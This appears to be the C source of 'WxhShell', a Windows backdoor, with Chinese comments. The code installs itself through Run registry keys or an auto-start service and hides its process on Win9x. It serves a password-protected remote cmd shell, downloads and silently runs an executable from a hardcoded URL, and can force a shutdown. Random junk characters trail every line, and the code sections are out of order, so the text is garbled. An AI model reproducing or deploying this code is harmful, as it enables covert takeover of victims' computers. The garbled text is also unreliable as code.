    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 3</W}]$)p  
    if(Boot(SHUTDOWN)) MJ"@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +D+v j|fn  
    else { *82+GY]  
    closesocket(wsh); >:Y"DX-  
    ExitThread(0); Q~R%|Q{&  
    } tm1#Lh0  
    break; |)VNf .aJZ  
    } B>}B{qi|  
  // 获取shell z:^ (#G{  
  case 's': { C'~E q3  
    CmdShell(wsh); lVv'_9yg  
    closesocket(wsh); YsO3( HS  
    ExitThread(0); qnb#~=x^  
    break; GIb,y,PDB  
  } ARUzEo gcf  
  // 退出 ]z O6ESH  
  case 'x': { ;fW`#aE  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); BOfl hoUX  
    CloseIt(wsh); y(ceEV  
    break; bMq)[8,N  
    } E- jJ!>&K  
  // 离开 jl>jy6T  
  case 'q': { 0fGt7 "Q  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); s%QCdU ]  
    closesocket(wsh); tWyl&,3?1  
    WSACleanup(); E4$y|Ni"  
    exit(1); !J&UO/q.  
    break; w=_q<1a  
        } }y1r yeW<  
  } +iqzj-e&e[  
  } c(b2f-0!4  
f AY(ro9Q(  
  // 提示信息 7@R^B=pb  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); LC7%Bfn!  
} o2D;EUsNX  
  } ,|g&v/WlC%  
)[ QT ?;  
  return; ?8qN8rk^+  
} %Rt 5$+dNT  
Nwj M=GG  
// shell模块句柄 u4tv= +jh  
int CmdShell(SOCKET sock) Tn"@u&P *  
{ 7{tU'`P>  
STARTUPINFO si; W|Cs{rBc?  
ZeroMemory(&si,sizeof(si)); 99\lZ{f(  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; +[ng99p  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; O7]kcA  
PROCESS_INFORMATION ProcessInfo; @Q7^caG  
char cmdline[]="cmd"; U3jnH  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); xS4?M<|L63  
  return 0; 63(XCO  
} OI_Px3) y  
Co,?<v=Ll  
// 自身启动模式 -mP2}BNM  
int StartFromService(void) P~#LbUP(  
{ b0sj0w/  
typedef struct 7g5Pc_  
{ "/G] M&  
  DWORD ExitStatus; l)e6*sDZ,  
  DWORD PebBaseAddress; 6?ky~CV  
  DWORD AffinityMask; Z;z,dw  
  DWORD BasePriority; m 7S`u  
  ULONG UniqueProcessId; 27i-B\r  
  ULONG InheritedFromUniqueProcessId; l_s#7.9$  
}   PROCESS_BASIC_INFORMATION; L&KL]n  
v .ow`MO=;  
PROCNTQSIP NtQueryInformationProcess; 6i;q=N$'  
{Mb2X^@7  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; bXvriQ.UH  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; EERCb%M 8Z  
!UR3`Xk  
  HANDLE             hProcess; Y(] W+k<  
  PROCESS_BASIC_INFORMATION pbi; #)#J`s1R  
1LaJ hrp?  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); T_q M@/f  
  if(NULL == hInst ) return 0; ]4/C19Fe!  
IB$i ^  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); c'XSs  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); La28%10  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); D9H%jDv  
S}VN(g  
  if (!NtQueryInformationProcess) return 0;  '[HBKn$`  
~# \{'<  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId());  Ci 'V  
  if(!hProcess) return 0; 7xM4=\~OG  
:]4s;q:m  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ^I9U<iNIL  
^F qs,^~W  
  CloseHandle(hProcess); \PD%=~  
?VCp_Ji  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); $> ;|  
if(hProcess==NULL) return 0; /eT9W[a  
]heVR&bQ  
HMODULE hMod; xi=0 kO  
char procName[255]; qfdL *D  
unsigned long cbNeeded; qo}yEl1  
PdEPDyFkh  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); :fDzMD  
KMG}VG   
  CloseHandle(hProcess); 0}YadNb7  
+U<.MVOo.  
if(strstr(procName,"services")) return 1; // 以服务启动 belBdxa{"  
LN) yQ-  
  return 0; // 注册表启动 ~c5 5LlO>  
} o6RT4`  
x[fp7*TiG  
// 主模块 7L!}F;yT  
int StartWxhshell(LPSTR lpCmdLine) 0$NzRPbH  
{ r oPC ^Q  
  SOCKET wsl; PT~F ^8,)  
BOOL val=TRUE; oB@)!'  
  int port=0; cuI&Q?+c}  
  struct sockaddr_in door; y<~(}xsHh  
X40JCQx{+  
  if(wscfg.ws_autoins) Install(); 1;?w#/&t  
VU6+" 2+'2  
port=atoi(lpCmdLine); }8ESp3~e_  
_+)n}Se  
if(port<=0) port=wscfg.ws_port; mKE' l'9A_  
RameaFX8  
  WSADATA data; Unansk  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; $m-C6xC/  
's5H_ah  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   K47.zu  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ,<C~DSAyZ  
  door.sin_family = AF_INET; [vz2< genn  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); rLY I\  
  door.sin_port = htons(port); I. Xbowl  
Hq~SRc~  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ?r*}1WsH  
closesocket(wsl); v9!] /]U^  
return 1; *>!-t   
} 8Ht=B,7T  
<;@E .I\N  
  if(listen(wsl,2) == INVALID_SOCKET) { Pf;RJeD  
closesocket(wsl); foBF]7Bz?  
return 1; TwF.UL@G%  
} [,;O$j}  
  Wxhshell(wsl); ~]Av$S  
  WSACleanup(); /XA*:8~!  
9xK#( M  
return 0; bdvpH DA  
AFeFH.G6Jr  
} o.Bbb=*rZ  
N/b$S@  
// 以NT服务方式启动 zG c ]*R  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ^jcVJpyT@R  
{ "Er8RUJA  
DWORD   status = 0; "HwlN_PA  
  DWORD   specificError = 0xfffffff; =EH/~NGk  
a[,p1}!_  
  serviceStatus.dwServiceType     = SERVICE_WIN32; EMxMJ=  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 6OJhF7\0&  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; #s#BYbF  
  serviceStatus.dwWin32ExitCode     = 0; *5\'$;Rg  
  serviceStatus.dwServiceSpecificExitCode = 0; HX,i{aWWy  
  serviceStatus.dwCheckPoint       = 0; D(Q]ddUi'  
  serviceStatus.dwWaitHint       = 0; naA8RD5/  
sO!m,pK(  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); |9BX  ~`{  
  if (hServiceStatusHandle==0) return; _;/+8=  
(]VY==t~  
status = GetLastError(); 7VdxQ T  
  if (status!=NO_ERROR) 1.<gC  
{ F7/%,vf  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; uJ fXe  
    serviceStatus.dwCheckPoint       = 0; ]l3Y=Cl  
    serviceStatus.dwWaitHint       = 0; T-iQ!D~  
    serviceStatus.dwWin32ExitCode     = status; V}~',o<m  
    serviceStatus.dwServiceSpecificExitCode = specificError; |N3#of(  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); %sPq*w.  
    return; $Y\7E/T  
  } YN7O Qqa  
cBU3Q<^  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; hBifn\dFr  
  serviceStatus.dwCheckPoint       = 0; 'c]Pm,Ls  
  serviceStatus.dwWaitHint       = 0; 9l|*E  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ,|;\)tT  
} &m]jYvRc  
Q4Qf/q;U  
// 处理NT服务事件,比如:启动、停止 k'sPA_|  
VOID WINAPI NTServiceHandler(DWORD fdwControl) e~9g~k]s  
{ FF7?|V!Q  
switch(fdwControl) eLV[U  
{ &' y}L'  
case SERVICE_CONTROL_STOP: B?e] Ht  
  serviceStatus.dwWin32ExitCode = 0; r%>7n,+o  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; OHnsfXO_V  
  serviceStatus.dwCheckPoint   = 0; glkH??S  
  serviceStatus.dwWaitHint     = 0; 7j(gW  
  { 8wEJyAu2  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); PCa0I^d  
  } K$s{e0 79  
  return; SLH;iqPT  
case SERVICE_CONTROL_PAUSE: 83aWMmA(1  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ^>eV}I5ak  
  break; u6:$AA  
case SERVICE_CONTROL_CONTINUE: +1\t 0P24  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; G_WHW(8   
  break; W@%g_V}C*  
case SERVICE_CONTROL_INTERROGATE: o3NB3@uj<  
  break;  `=B v+  
}; u@`y/,PX  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Df]*S  
} oh9L2"  
>7 cDfv"  
// 标准应用程序主函数 E}#&2n8Y  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) LWN9 D  
{ M~y}0Ik  
xJFcW+  
// 获取操作系统版本 1CJAFi>%D  
OsIsNt=GetOsVer(); mgodvX  
GetModuleFileName(NULL,ExeFile,MAX_PATH); x cZF_elt7  
,E@}=x9p  
  // 从命令行安装 N] pw7S%  
  if(strpbrk(lpCmdLine,"iI")) Install(); RX^Xtc"  
a1QW0d  
  // 下载执行文件 g@>93j=cZU  
if(wscfg.ws_downexe) { myd:"u,}9  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) nyOmNvZf  
  WinExec(wscfg.ws_filenam,SW_HIDE); PeLzZ'$D  
} (B?ZUXM,  
m& D#5C  
if(!OsIsNt) { vTWm_ed+^  
// 如果时win9x,隐藏进程并且设置为注册表启动 8.7lc2aX  
HideProc(); \>{;,f  
StartWxhshell(lpCmdLine); +=nWB=iCb  
} ` 7?EE1o  
else Q~rE+?n9 F  
  if(StartFromService()) 41Ab,  
  // 以服务方式启动 m6A\R KJ'  
  StartServiceCtrlDispatcher(DispatchTable); 6 .[3N~pq  
else ;hEeFJ=/G  
  // 普通方式启动 1F+JyZK}w  
  StartWxhshell(lpCmdLine); )@=fGNDt  
[dqh-7  
return 0; ''q#zEf6  
} L!`PM.:9  
!HP=Rgh  
dVn_+1\L  
F%O+w;J4  
=========================================== <,U$Y>  
Fr(;C>  
f9)0OHa  
1xO-tIp/  
YlR9 1L X  
r$x;rL4  
"  7mtg  
jw0wR\1  
#include <stdio.h> hZ "Sqm]  
#include <string.h> 0JqvV  
#include <windows.h> eF' l_*  
#include <winsock2.h> vY,D02 EMw  
#include <winsvc.h> \]dvwN3x  
#include <urlmon.h> Z.s0ddM s  
(CJx Y(1K  
#pragma comment (lib, "Ws2_32.lib") A5_r(Z-5  
#pragma comment (lib, "urlmon.lib") o*oFCR]j  
.kgt? r  
#define MAX_USER   100 // 最大客户端连接数 X!@ Y ,  
#define BUF_SOCK   200 // sock buffer k]2_vk^  
#define KEY_BUFF   255 // 输入 buffer MN:LL <  
E Q:6R|L  
#define REBOOT     0   // 重启 'q@vTM'-  
#define SHUTDOWN   1   // 关机 FJT0lC  
vskp1Wi(  
#define DEF_PORT   5000 // 监听端口 upZf&4 I8  
zw iS%-F  
#define REG_LEN     16   // 注册表键长度 <|w(Sn  
#define SVC_LEN     80   // NT服务名长度 d"Zyc(Jk  
c: (nlYZ   
// 从dll定义API "98 j-L=F+  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); dyohs_  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); %8d]JQ  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); k~fH:X~x  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); }XqC'z  
dQO 5  
// wxhshell配置信息 U~M!T#\s  
struct WSCFG { gP |>gy#e  
  int ws_port;         // 监听端口 aP"!}*  
  char ws_passstr[REG_LEN]; // 口令 ${gO=Z  
  int ws_autoins;       // 安装标记, 1=yes 0=no #wZH.i #  
  char ws_regname[REG_LEN]; // 注册表键名 n9R0f9:*  
  char ws_svcname[REG_LEN]; // 服务名 8xkLfN|N=  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 $I4Wl:(~}  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 U"~W3vwJ  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 KleiX7  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 5 Yww,s  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" io@f5E+?  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 *.Z~f"SZy*  
,zxv>8Nt  
}; \Pe+]4R-Xo  
P4+PY 8  
// default Wxhshell configuration b/ h#{'  
struct WSCFG wscfg={DEF_PORT, rj4R/{h  
    "xuhuanlingzhe", {kr14 l*2  
    1, M5L/3qLh1  
    "Wxhshell", cmU>A721  
    "Wxhshell", K_!:oe7%  
            "WxhShell Service", 9}H]4"f7  
    "Wrsky Windows CmdShell Service", $ +$l?2  
    "Please Input Your Password: ", Q X-n l~  
  1, k|U2Mp  
  "http://www.wrsky.com/wxhshell.exe", aM(x--UR=  
  "Wxhshell.exe" \xQu*M:!  
    }; 7:<A_OLi  
h Vui.]  
// 消息定义模块 !(Y,2{  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; G.PRPl  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 'K#ndCGJ$  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; %joL}f[  
char *msg_ws_ext="\n\rExit."; <Y$( l szT  
char *msg_ws_end="\n\rQuit."; f[ia0w5 m  
char *msg_ws_boot="\n\rReboot..."; 4yjIR?  
char *msg_ws_poff="\n\rShutdown..."; \k^ojzJ  
char *msg_ws_down="\n\rSave to "; |"+Uf w^  
`3@?)xa  
char *msg_ws_err="\n\rErr!"; l,zhBnD  
char *msg_ws_ok="\n\rOK!"; C2\zbC[qm  
A~ _2"  
char ExeFile[MAX_PATH]; *N"CV={No  
int nUser = 0; m(0X_& &?z  
HANDLE handles[MAX_USER]; !Lw]aHb  
int OsIsNt; .8T0OQ4  
|=MhI5gsx  
SERVICE_STATUS       serviceStatus; vo%"(!  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; IDL0!cF  
v G9>e&Be  
// 函数声明 a,r B7aD  
int Install(void); 0=K8 nxdx  
int Uninstall(void); MH9vg5QKp  
int DownloadFile(char *sURL, SOCKET wsh); TPak,h(1  
int Boot(int flag); ww #kc!'  
void HideProc(void); 6CSoQ|c{  
int GetOsVer(void); j-.Y!$a%6  
int Wxhshell(SOCKET wsl); |q z%6w=  
void TalkWithClient(void *cs); f8`dJ5i  
int CmdShell(SOCKET sock); n9n)eI)R  
int StartFromService(void); GR4DxlX  
int StartWxhshell(LPSTR lpCmdLine); ZY@ntV?  
P(/eVD#v  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); sx}S,aIU  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); !&NrbiuN  
`uH7~ r^  
// 数据结构和表定义 euVj,m  
SERVICE_TABLE_ENTRY DispatchTable[] = kX8NRPW  
{ iq[IZdza  
{wscfg.ws_svcname, NTServiceMain}, Ez-Q'v(9  
{NULL, NULL} vm'ZA7f6  
}; N/--6)5~0  
i'4.w?OZ  
// 自我安装 ~"NuYM#@  
int Install(void) s~9n13z  
{ Vu=/<;-N  
  char svExeFile[MAX_PATH]; C,GZ  
  HKEY key; t,IOq[Vtk  
  strcpy(svExeFile,ExeFile); 8ZLHN',  
.{} 8mFi1  
// 如果是win9x系统,修改注册表设为自启动 qZ&~&f|>e  
if(!OsIsNt) { v^vi *c  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 4d-(:  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); KROD(  
  RegCloseKey(key); #<ST.f@*  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { C/'w  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 44|tCB`  
  RegCloseKey(key); Y]](.\ff  
  return 0; }a.j~>rq  
    } zn7)>cQ905  
  } HD/!J9&  
} %OHZOs  
else { akU2ToP  
4^M"V5tDx  
// 如果是NT以上系统,安装为系统服务 /-G_0 A2wF  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ai-rF^ehC  
if (schSCManager!=0) Bc[~'gn  
{ w,$qsmR  
  SC_HANDLE schService = CreateService "H<us?r{  
  ( k)|.<  
  schSCManager, ;i'[c`  
  wscfg.ws_svcname, L+(ng  
  wscfg.ws_svcdisp, zsJermF,O  
  SERVICE_ALL_ACCESS, |ns?c0rM  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , )>S,#_e*b  
  SERVICE_AUTO_START, %W)pZN}  
  SERVICE_ERROR_NORMAL, nSC2wTH!1  
  svExeFile, F= %A9b_a  
  NULL, > pP&/  
  NULL, GNe^ ~  
  NULL, Y)+q[MZ R  
  NULL, XWyP'\  
  NULL \Z&Nd;o   
  ); -TH MTRFz  
  if (schService!=0) $2?j2}M  
  { fe,6YXUf  
  CloseServiceHandle(schService); =I)43ah d  
  CloseServiceHandle(schSCManager); kFV, Fg  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); . R/y`:1:W  
  strcat(svExeFile,wscfg.ws_svcname); j)6p>6  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { zdd-n[%@V  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ,^97Ks ;  
  RegCloseKey(key); 0FgF,  
  return 0; %S}uCqcAK  
    } 6/Xs}[iJ  
  } ,3y9yJQa*#  
  CloseServiceHandle(schSCManager); ,<r&] eC  
} DQm%=ON7  
} nGkSS_X  
}$4z$&  
return 1; @q q"X'3t  
} p2{7+m  
MA6 Vy  
// 自我卸载 tmooS7\a  
int Uninstall(void) PD-&(ka.  
{ "8{A4N1B5  
  HKEY key; }: HG)V  
.'gm2  
if(!OsIsNt) { '=n?^EPE3  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 4^F%bXJ)  
  RegDeleteValue(key,wscfg.ws_regname); N+rU|iMa.  
  RegCloseKey(key); '#Au~5  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { =I@t%Y  
  RegDeleteValue(key,wscfg.ws_regname); "4)N]Nj  
  RegCloseKey(key); "+- 'o+  
  return 0; K+F"VW*?  
  } _!@:@e)yB{  
} z qo0P~  
}  p;w&}l{{  
else { +*:mKx@Nw  
d*0 RBgn  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); VNHce H  
if (schSCManager!=0) : ~vodh  
{ At4\D+J{Vs  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); |JxVfX8^  
  if (schService!=0) 9Yv:6@.F  
  { VP~2F E  
  if(DeleteService(schService)!=0) { O {1" I  
  CloseServiceHandle(schService); EIg~^xK  
  CloseServiceHandle(schSCManager); 'Oue 1[  
  return 0; 3I_^F&T  
  } gHrs|6q9  
  CloseServiceHandle(schService); ^H3N1eC,`F  
  } c MXv  
  CloseServiceHandle(schSCManager); :*M?RL@j  
} m-vn5OX  
} K)7T]z`  
l< f9$l^U  
return 1; -AdDPWn  
} /I=|;FGq  
X8$Mzeq  
// 从指定url下载文件 o$sD9xx  
int DownloadFile(char *sURL, SOCKET wsh) %o0b~R  
{ P0,]`w  
  HRESULT hr; IR6W'vA  
char seps[]= "/"; %8FfP5#  
char *token; (Xh <F  
char *file; AafS6]y  
char myURL[MAX_PATH]; o utJ/~9;  
char myFILE[MAX_PATH]; ?,>3uD#  
lFjz*g2'  
strcpy(myURL,sURL); 7__[=)(b2X  
  token=strtok(myURL,seps); YsVmU  
  while(token!=NULL) ](w)e p~;3  
  { )!2@v@SQ  
    file=token; d:(Ex^^  
  token=strtok(NULL,seps); SIJ7Y{\.  
  } QnWE;zN[7A  
5H0qMt P  
GetCurrentDirectory(MAX_PATH,myFILE); Q)DEcx-|,  
strcat(myFILE, "\\"); ca g5w~Px  
strcat(myFILE, file); Lq2Q:w'  
  send(wsh,myFILE,strlen(myFILE),0); e= IdqkJ%  
send(wsh,"...",3,0); ]F4QZV( M  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ,|:.0g[n  
  if(hr==S_OK) gwoe1:F:J  
return 0; *#T: _  
else S hI1f  
return 1; HAxLYun(3w  
mr\,"S-`  
} |nefg0`rk  
(,U|H`  
// 系统电源模块 i%K6<1R;y{  
int Boot(int flag) 3^7+fxYWo  
{ oMQ4q{&|  
  HANDLE hToken; An. A1y  
  TOKEN_PRIVILEGES tkp; xE:jcA d$}  
D$hQ-K  
  if(OsIsNt) { 4=L>  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); L|CdTRgRCB  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); $ZM'dIk?  
    tkp.PrivilegeCount = 1; #n>U7j9`O  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 4z0gyCAC A  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); .l1x~(  
if(flag==REBOOT) { ?+t;\  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ys9:";X;}  
  return 0; FS1\`#Bm)  
} |>;PV4])(  
else { ,*|Q=  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 9 C[~*,qx  
  return 0; Nk7y2[  
} {rc3`<%  
  } tvI<Why\p  
  else { ?^Rp" H   
if(flag==REBOOT) { e )0 ]WJ  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) & FhJ%JK  
  return 0; "iSY;y o  
} ^ Ps!  
else { FK^xZ?G  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) FRQ.ix2  
  return 0; {-4+=7Sg1  
} xt^1,V4Ei~  
} }Va((X w  
/wJ#-DZ  
return 1; nwFBuP<LR  
} MQoA\  
duG!QS:  
// win9x进程隐藏模块 qp})4XTv  
void HideProc(void) &-=~8  
{ jIs>>  
hxoajexU  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); pP| @Z{7d`  
  if ( hKernel != NULL ) oco,sxT  
  { z!g$#hmL>  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); mw"FQ?bJ  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); iB)\* )  
    FreeLibrary(hKernel); UIAazDyC  
  } vbid>$%  
XoKgs,y4  
return; :h(HKMSk1  
} ?X|)0o  
[MIgQ.n  
// 获取操作系统版本 ~B;}jI]d[  
int GetOsVer(void) PuN L%D  
{ X:W\EeH  
  OSVERSIONINFO winfo; t\Vng0  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); )E9!m  
  GetVersionEx(&winfo); 2.v{W-D[  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) AU9C#;JD  
  return 1; jEBn"]\D  
  else oMbd1uus  
  return 0; q;e b  
} #/YS  
kLgkUck8]  
// 客户端句柄模块 T?1BcY  
int Wxhshell(SOCKET wsl) aO1^>hy  
{ =Y2 Rht  
  SOCKET wsh; 4/(#masIL  
  struct sockaddr_in client; K#OL/2^ 5  
  DWORD myID; FyEKqYl  
1/-3m Po  
  while(nUser<MAX_USER) m9[ 7"I  
{ nah?V" ?Y  
  int nSize=sizeof(client); ,WyEwc]  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); p/Ul[7A4e  
  if(wsh==INVALID_SOCKET) return 1; KU8,8:yY  
0|AgmW_7 .  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); yJ?=##  
if(handles[nUser]==0) PysDDU}v  
  closesocket(wsh); 1 uU$V =  
else ?Bu*%+  
  nUser++; +R*DE5dz  
  } DtANb^  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); !<];N0nt#  
%+'Ex]B  
  return 0; 9nAP%MA`  
} NJBSVC b  
?'k_K:_  
// 关闭 socket n-9xfn0U~#  
void CloseIt(SOCKET wsh) XM\\Imw  
{ >w.;A%|N  
closesocket(wsh); V lx.C~WYn  
nUser--; _mm(W=KiL  
ExitThread(0); yY8zTWji_  
} Qz@_"wm[  
#zsaQg, B  
// 客户端请求句柄 nD5wN~[J  
void TalkWithClient(void *cs) @rGY9%E  
{ %IO*(5f  
4Fp[94 b  
  SOCKET wsh=(SOCKET)cs; DdR0u0JH0  
  char pwd[SVC_LEN]; e|k]te  
  char cmd[KEY_BUFF]; QT c{7&  
char chr[1]; Wc@ ,#v  
int i,j; kZ5#a)U<  
f#ZM 2!^!  
  while (nUser < MAX_USER) { T<*)Cdid  
94B%_  
if(wscfg.ws_passstr) { i:YX_+n  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 5t%8y!s  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Fip 5vrD  
  //ZeroMemory(pwd,KEY_BUFF);  dfFw6R  
      i=0; Rw'}>?k]  
  while(i<SVC_LEN) { 6k hBT'n  
sywuS  
  // 设置超时 y`oj\  
  fd_set FdRead; (utP@d^  
  struct timeval TimeOut; z|Y54o3  
  FD_ZERO(&FdRead); =w3A{h"^  
  FD_SET(wsh,&FdRead); .2%t3ul[  
  TimeOut.tv_sec=8; =AO (  
  TimeOut.tv_usec=0; ]njNSn  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); mh8fJ6j29N  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); aL:|Dr3SX  
D?dBm  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); !H\;X`W|~D  
  pwd=chr[0]; # `^nmC/F  
  if(chr[0]==0xd || chr[0]==0xa) { 1@Jp3wW  
  pwd=0; M-t 9M~  
  break; H4ie$/[$8  
  } $IQPB_:  
  i++; *6yY>LW  
    } uF<34  
[)V~U?  
  // 如果是非法用户,关闭 socket nT?+^Ruc  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 2OoANiX  
} ?pZ"7kkD  
_#V&rY&@  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); e:HORc~U  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); brmS J7  
\a+Q5g  
while(1) { 8-@@QZ\N  
*+rfRH]a  
  ZeroMemory(cmd,KEY_BUFF); AO5&Y.A#  
|tAkv  
      // 自动支持客户端 telnet标准   P;.roD9  
  j=0; s4|tWfZ  
  while(j<KEY_BUFF) { \:+\H0Bz  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); :!_l@=l  
  cmd[j]=chr[0]; 8gavcsVE[  
  if(chr[0]==0xa || chr[0]==0xd) { 0U7Gl9~  
  cmd[j]=0; .F,l>wUNe  
  break; zg ,=A?  
  } "SN*hzs"]`  
  j++; AO8 #l YP?  
    } c>$d!IKCL  
?1L<VL=b  
  // 下载文件 I/w;4!+)  
  if(strstr(cmd,"http://")) { }K?b2 6`  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ;t*SG*Vi  
  if(DownloadFile(cmd,wsh)) Gy \ ]j  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0);  +rv##Z  
  else }<~(9_+  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <%YW/k"o  
  } $9?:P}$v  
